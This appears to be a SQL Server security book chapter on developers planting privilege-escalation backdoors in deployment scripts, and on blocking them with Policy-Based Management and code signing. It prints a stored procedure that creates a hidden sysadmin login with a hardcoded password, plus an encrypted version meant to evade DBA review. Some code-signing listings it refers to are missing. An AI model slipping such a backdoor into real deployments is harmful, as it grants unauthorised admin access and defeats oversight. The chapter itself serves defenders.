Understanding Code Injection

You should think of code injection as being a corporate equivalent to a Trojan Horse virus . Seemingly innocent code is deployed, but the code contains a back door through which individuals without authorization can elevate their privileges. Code injection should not be confused with SQL injection, which is a very different type of attack.

Code injection differs from most type of attacks in the respect that it is not usually designed to be malicious, although the results can have vastly negative results. In corporate SQL Server estates, code injection usually happens because of a lack of trust between SQL Server developers and DBAs. The developers will naturally have a very limited set of permissions on production, if any. Some developers, whose relationships have broken down with the production DBA, however, will insert code into a deployment, which allows them to have elevated permissions to the SQL Server instance. This, in turn, allows them to investigate or resolve issues, without the reliance upon the database administrators.

While not exactly malicious to the level of data theft or destruction, these actions are still breaking company policy, compromising security, and potentially breaking legal regulations, such as SOX, which requires separation of duties. It also means that the DBA team is required to administer an instance where they do not have the final say on what happens and where the environment may change without them knowing.

A code injection attack can take many forms. A simplistic attack will involve adding a line of code to a deployment script, which creates a login using SQL authentication, which has sa permissions or is included in the db_owner role of specific databases. This level of simplicity is quite easy for a DBA to spot, however, with a standard SQL Server Audit implementation, which checks for changes to the sa server role, or db_owner database roles.

A more sophisticated form of attack involves creating a stored procedure, which will create a highly privileged user “on request” and then delete it when it is no longer needed. To understand how this attack is performed, you should be familiar with EXECUTE AS.

Using EXECUTE AS to Perform a Code Injection Attack

In order to implement code injection, a rogue developer will use the EXECUTE AS approach to fire a stored procedure, which will create a privileged user account. A stored procedure that will achieve this can be found in Listing 13-2.

Note

Before running the script, please change MyDatabase to the name of a database that exists on your instance.

ALTER DATABASE MyDatabase SET TRUSTWORTHY ON ;

GO

USE MyDatabase

GO

CREATE PROCEDURE dbo.CreateBackDoor @Usage INT

WITH EXECUTE AS 'dbo'

AS

BEGIN

        IF @Usage = 1

        BEGIN

                CREATE LOGIN Hack WITH PASSWORD = 'Pa$$w0rd123' ;

                ALTER SERVER ROLE sysadmin ADD MEMBER [hack] ;

        END

        IF @Usage = 0

        BEGIN

                DROP LOGIN Hack ;

        END

END

GO

Listing 13-2

Creating a Stored Procedure to Create a User

Note

The first line of the script turns TRUSTWORTHY to ON for the database. This is required for the attack to work, but a developer with this intent will usually set TRUSTWORTHY to ON when creating the database The TRUSTWORTHY property defines if EXECUTE AS can be used in a database and if UNSAFE CLR assemblies (which can access any resources, inside or outside of the SQL Server instance) can be used within a database. It can only be configured by a member of the sysadmin role.

Once the procedure has been created, a developer only needs EXEC permissions on the procedure in order to execute it. When they pass the value 1 to the procedure, it will create the login, with admin rights. Once they have performed their desired activity, they can run the procedure again, passing a value of 0. This will delete the login, before it is noticed by a DBA.

Increasing the Attack Complexity With Obfuscation

To increase the complexity of the attack and reduce the chances of a DBA spotting what is happening, a developer may choose to obfuscate the stored procedure. This will stop a DBA from being able to view the code within the stored procedure after it has been created. The script in Listing 13-3 demonstrates how a developer can add obfuscation to the stored procedure created in Listing 13-2.

Note

Code obfuscation is very weak and can even be decrypted by tools such as SQL Compare.

ALTER PROCEDURE dbo.CreateBackDoor @Usage INT

WITH ENCRYPTION, EXECUTE AS 'dbo'

AS

BEGIN

        IF @Usage = 1

        BEGIN

                CREATE LOGIN Hack WITH PASSWORD = 'Pa$$w0rd123' ;

                ALTER SERVER ROLE sysadmin ADD MEMBER [hack] ;

        END

        IF @Usage = 0

        BEGIN

                DROP LOGIN Hack ;

        END

END

Listing 13-3

Obfuscate the Stored Procedure

If a DBA now attempts to view the definition of a stored procedure, they will see the message illustrated in Figure 13-1. This may still indicate to the DBA, however, that something is afoot.

Protecting Against Code Injection

The following sections will discuss how DBAs can avoid developers executing code injection attacks.

Using Policy-Based Management to Protect Against Code Injection

In order to create a stored procedure that uses the security context of a privileged user, the security entity that creates the procedure must either have impersonation rights against the user or be a member of the sysadmin role. Therefore, this attack relies on the fact that the DBA team will be running the deployment themselves using an account that is member of the sysadmin server role. Essentially, the developer, who wants a back-door to the system, is relying on the assumption that the DBA will not evaluate their code before deploying it. With a large deployment consisting of thousands of lines of code, this is perfectly plausible.

To protect themselves against this scenario, a DBA can implement simple checks using Policy-Based Management (PBM), which will either stop the deployment from finishing or allow the DBA to easily evaluate the deployment, post-execution.

Note

A broader discussion around PBM can be found in Chapter 9. Therefore, this chapter will focus on creating a policy specifically to avoid back-door code injection attacks.

Creating the Condition

The first step in creating a policy that will avoid the use of EXECUTE AS in stored procedures is to create a condition that will check the execution context of stored procedures and ensure they are configured to execute under the context of the entity that executes the stored procedure, which is the default behavior.

This can be achieved in SQL Server Management Studio, by drilling through Management | Policy Based Management in Object Explorer and then selecting New Condition from the context menu of Conditions. This will cause the New Condition dialog box to be displayed, as illustrated in Figure 13-2.

You will notice that we have defined a name for the condition and selected the Stored Procedure facet from the drop-down, exposing the properties of a stored procedure. In the Expression window, we have chosen the @ExecutionContext property and stated that it must be Caller (the default behavior).

Alternatively, we could create the condition by using the sp_syspolicy_add_condition system-stored procedure, which is located in the dbo schema of the MSDB database. The sp_syspolicy_add_condition procedure accepts the parameters detailed in Table 13-2.

Table 13-2

Parameters Accepted by sp_syspolicy_add_condition

Parameter	Description
@name	The name to be assigned to the condition
@description	An optional description of the condition
@facet	The name of the facet to which the required properties belong
@expression	The @expression parameter has the data type NVARCHAR(MAX), but accepts an XML representation of the required condition.
@is_name_condition	Indicates if the expression will evaluate the @name property of an object. Possible values are: • 0 - Indicates that the condition is not associated with the @name property • 1 - Indicates that the condition is associated with the @name property
@obj_name	Specifies the name of the object that will be evaluated, in the event that @is_name_condition is 1
@condition_id	An output parameter, detailed the unique identifier (integer) that has been assigned to the new condition

The script in Listing 13-4 demonstrates how to use the sp_syspolicy_add_condition procedure to create the AvoidCodeInjection condition.

DECLARE @condition_id INT ;

EXEC msdb.dbo.sp_syspolicy_add_condition

        @name='AvoidCodeInjection',

        @description=",

        @facet='StoredProcedure',

        @expression='<Operator>

                        <TypeClass>Bool</TypeClass>

                        <OpType>EQ</OpType>

                        <Count>2</Count>

                        <Attribute>

                                <TypeClass>Numeric</TypeClass>

                                <Name>ExecutionContext</Name>

                        </Attribute>

                        <Function>

                                <TypeClass>Numeric</TypeClass>

                                <FunctionType>Enum</FunctionType>

                                <ReturnType>Numeric</ReturnType>

                                <Count>2</Count>

                        <Constant>

                                <TypeClass>String</TypeClass>

                                <ObjType>System.String</ObjType>

                                <Value>Microsoft.SqlServer.Management.Smo.ExecutionContext</Value>

                        </Constant>

                        <Constant>

                                <TypeClass>String</TypeClass>

                                <ObjType>System.String</ObjType>

                                <Value>Caller</Value>

                        </Constant>

                </Function>

        </Operator>',

@is_name_condition=0,

@obj_name=",

@condition_id=@condition_id OUTPUT ;

GO

Listing 13-4

Create a Condition With sp_syspolicy_add_condition

Creating the Policy

Now that we have created the condition, we will need to create the policy object. To achieve this via SQL Server Management Studio, drill through Management | Policy Based Management in Object Explorer and then select New Policy from the context menu of policies. This will cause the New Policy dialog box to be invoked, as illustrated in Figure 13-3.

You will notice that we have given the policy a name that is consistent with the condition and checked the Enabled option to ensure that the policy is enabled on creation. In the Check Condition drop-down, we have selected our AvoidCodeInjection condition and have neglected to apply any filters, meaning that every stored procedure within every database on the instance will be assessed. In a multi-server environment, we could also exclude specific instances by applying a condition to the Server Restriction filter. One of the most important configurations is the Evaluation Mode. We have configured this to be OnChange: Prevent. This means that the code deployment will fail should a stored procedure within the deployment use the EXECUTE AS clause. This means that a DBA will not even need to check a log, post-deployment.

Tip

If there was a stored procedure that was using EXECUTE AS for a legitimate reason that had been agreed to with the DBA Team, we could create an additional condition and apply this condition as a filter, so that the specific stored procedure could be ignored during evaluation.

Alternatively, we could create the policy using T-SQL by using the sp_syspolicy_add_object_set, sp_syspolicy_add_target_set, sp_syspolicy_add_target_set_level, and sp_syspolicy_add_policy system-stored procedures, all of which can be found in the dbo schema of the MSDB database.

The sp_syspolicy_add_object_set adds the policy to an undocumented table called syspolicy_object_sets_internal, which is used as part of the internal policy object binding. It accepts the parameters detailed in Table 13-3.

Table 13-3

sp_syspolicy_add_object_set Parameters

Parameter	Description
@object_set_name	The object set name, derived from the policy name
@facet	The facet used by the condition associated with the policy
@object_set_id	An output parameter, supplying the unique ID associated with the object set

The sp_syspolicy_add_target_set procedure inserts an entry into an undocumented table called syspolicy_target_sets_internal, which is used for internal policy binding. It accepts the parameters detailed in Table 13-4. The procedure needs to be called for each.

Table 13-4

sp_syspolicy_add_target_set Parameters

Parameter	Description
@object_set_id	The ID of the associated object set. Only pass if the @object_set_name parameter is not passed.
@object_set_name	The name of the associated object set. Only pass if the @object_set_id parameter is omitted.
@type_skeleton	The SQL Server object hierarchy path to the target set object type
@type	The type of the object set (which maps to a facet)
@enabled	Specifies if the target set is enabled. Possible values are: • 0 - Indicating that it is disabled • 1 - Indicating that it is enabled
@target_set_id	An output parameter that passes the ID of the newly created target set

The sp_syspolicy_add_policy system-stored procedure creates the Policy object, using the bindings that were defined with the previous procedures to be run. The procedure accepts the parameters detailed in Table 13-5.

Table 13-5

sp_syspolicy_add_policy Parameters

Parameter	Description
@name	The name of the Policy to be created
@condition_id	The ID of the condition that will be evaluated. This parameter should only be passed if the @condition_name parameter is omitted.
@condition_name	The name of the condition to be evaluated. This should only be supplied if the @condition_id parameter is omitted.
@schedule_uid	The GUID of the schedule on which the policy will be evaluated
@policy_category	The name of the category with which the policy will be associated
@description	A description of the policy
@help_text	Optional help text that can be displayed when the policy is evaluated. This is helpful to give a brief explanation of the policy.
@help_link	Optional hyperlink that can be displayed when the policy is evaluated. This is helpful if you wish to direct a DBA toward a hosting standards or policy document.
@execution_mode	An integer value, representing the evaluation mode of the policy
@is_enabled	Indicates if the policy will be enabled on creation. Possible values are: 0 — Indicates that the policy will be disabled (This is always the value if the evaluation mode is configured as On Demand.) 1 — Indicates that the policy will be enabled on creation
@root_condition_id	The ID of the condition that will be used to limit the policies evaluation range. Do not pass if the @root_condition_name parameter is passed.
@root_condition_name	The name of the condition that will be used to limit the policies evaluation range. Do not pass, if the @root_condition_id parameter is passed.
@object_set	The name of the object set that binds the policy
@policy_id	An output parameter supplying the ID of the newly created policy

The script in Listing 13-5 demonstrates how the stored procedures explained in Table 13-5 can be used to create the AvoidCodeInjection policy.

DECLARE @object_set_id INT ;

DECLARE @target_set_id INT ;

DECLARE @policy_id INT ;

EXEC msdb.dbo.sp_syspolicy_add_object_set

        @object_set_name='AvoidCodeInjection_ObjectSet',

        @facet='StoredProcedure',

        @object_set_id=@object_set_id OUTPUT ;

EXEC msdb.dbo.sp_syspolicy_add_target_set

        @object_set_name='AvoidCodeInjection_ObjectSet',

        @type_skeleton='Server/Database/StoredProcedure',

        @type='PROCEDURE',

        @enabled=True,

        @target_set_id=@target_set_id OUTPUT ;

EXEC msdb.dbo.sp_syspolicy_add_target_set_level

        @target_set_id=@target_set_id,

        @type_skeleton='Server/Database/StoredProcedure',

        @level_name='StoredProcedure',

        @condition_name=",

        @target_set_level_id=0 ;

EXEC msdb.dbo.sp_syspolicy_add_target_set_level

        @target_set_id=@target_set_id,

        @type_skeleton='Server/Database',

        @level_name='Database',

        @condition_name=",

        @target_set_level_id=0 ;

EXEC msdb.dbo.sp_syspolicy_add_policy

        @name='AvoidCodeInjection',

        @condition_name='AvoidCodeInjection',

        @execution_mode=1,

        @is_enabled=1,

        @policy_id=@policy_id OUTPUT,

        @object_set='AvoidCodeInjection_ObjectSet' ;

GO

Listing 13-5

Create the AvoidCodeInjection Policy

Code Signing

An alternative to using the EXECUTE AS clause on a stored procedure is to use code signing on the stored procedure. Unlike the EXECUTE AS clause, code signing does not change the context in which the code is run. Instead, it will sign the stored procedure with a certificate and combine the permissions granted to the certificate with the permissions granted to the caller of the stored procedure. Code signing is intended for scenarios where it is not possible to control permissions through ownership chains or where it is insecure to use ownership chains, such as in multi-database applications.

To use code signing for a stored procedure, the first step is to create a certificate within the relevant database. To create a self-signed certificate (as opposed to a certificate issued by a trusted certificate authority), you can use the CREATE CERTIFICATE statement.

The command in Listing 13-6 demonstrates how to create a self-signed certificate for the purpose of code signing.

We can now grant user-appropriate permissions based upon the requirements. Let’s imagine that the stored procedure will read data from MyTable. Listing 13-8 grants the permissions to CodeSigning.

When the stored procedure is executed by a user, it will return the desired results, even if they do not have permissions to the underlying table, as the caller’s permissions will be combined with those of the certificate. The only permission required by the caller is the EXECUTE permission on the stored procedure.

It is important to note, however, that if a user has specifically been denied permissions to the underlying table, then they will not be able to successfully return results from the procedure. This is because when the two permission sets are combined, the DENY associated with the caller will override the GRANT associated with the certificate.

Summary

Code injection is an anomalous form of attack, in the respect that it is often not perceived by the attacker (usually a database developer) as malicious. Instead, it is perceived as a “means of getting things done.”

Despite this, code injection is dangerous to the SQL Server estate, as it allows for unauthorized changes to be made, without the DBA team being aware. A good way to avoid such attacks is for the DBA team to work more closely with the development team, ideally with a DevOps mentality being introduced. If the developer feels that he can resolve issues quickly, in collaboration with a DBA, then he is less likely to look for a back-door into the system.

Policy-Based Management can be used as a technical tool for avoiding code injection attacks by constraining the development team’s deployments to a hosting standard where the use of the EXECUTE AS clause is not permitted.

Code signing is designed for situations where ownership chains cannot be followed but can also be used in some circumstances as an alternative to the EXECUTE AS clause. A user is created and associated with a certificate. After the stored procedure has been signed using the certificate, the certificate’s permissions will be combined with that of the caller so that the caller may access the base tables without the need for a context change.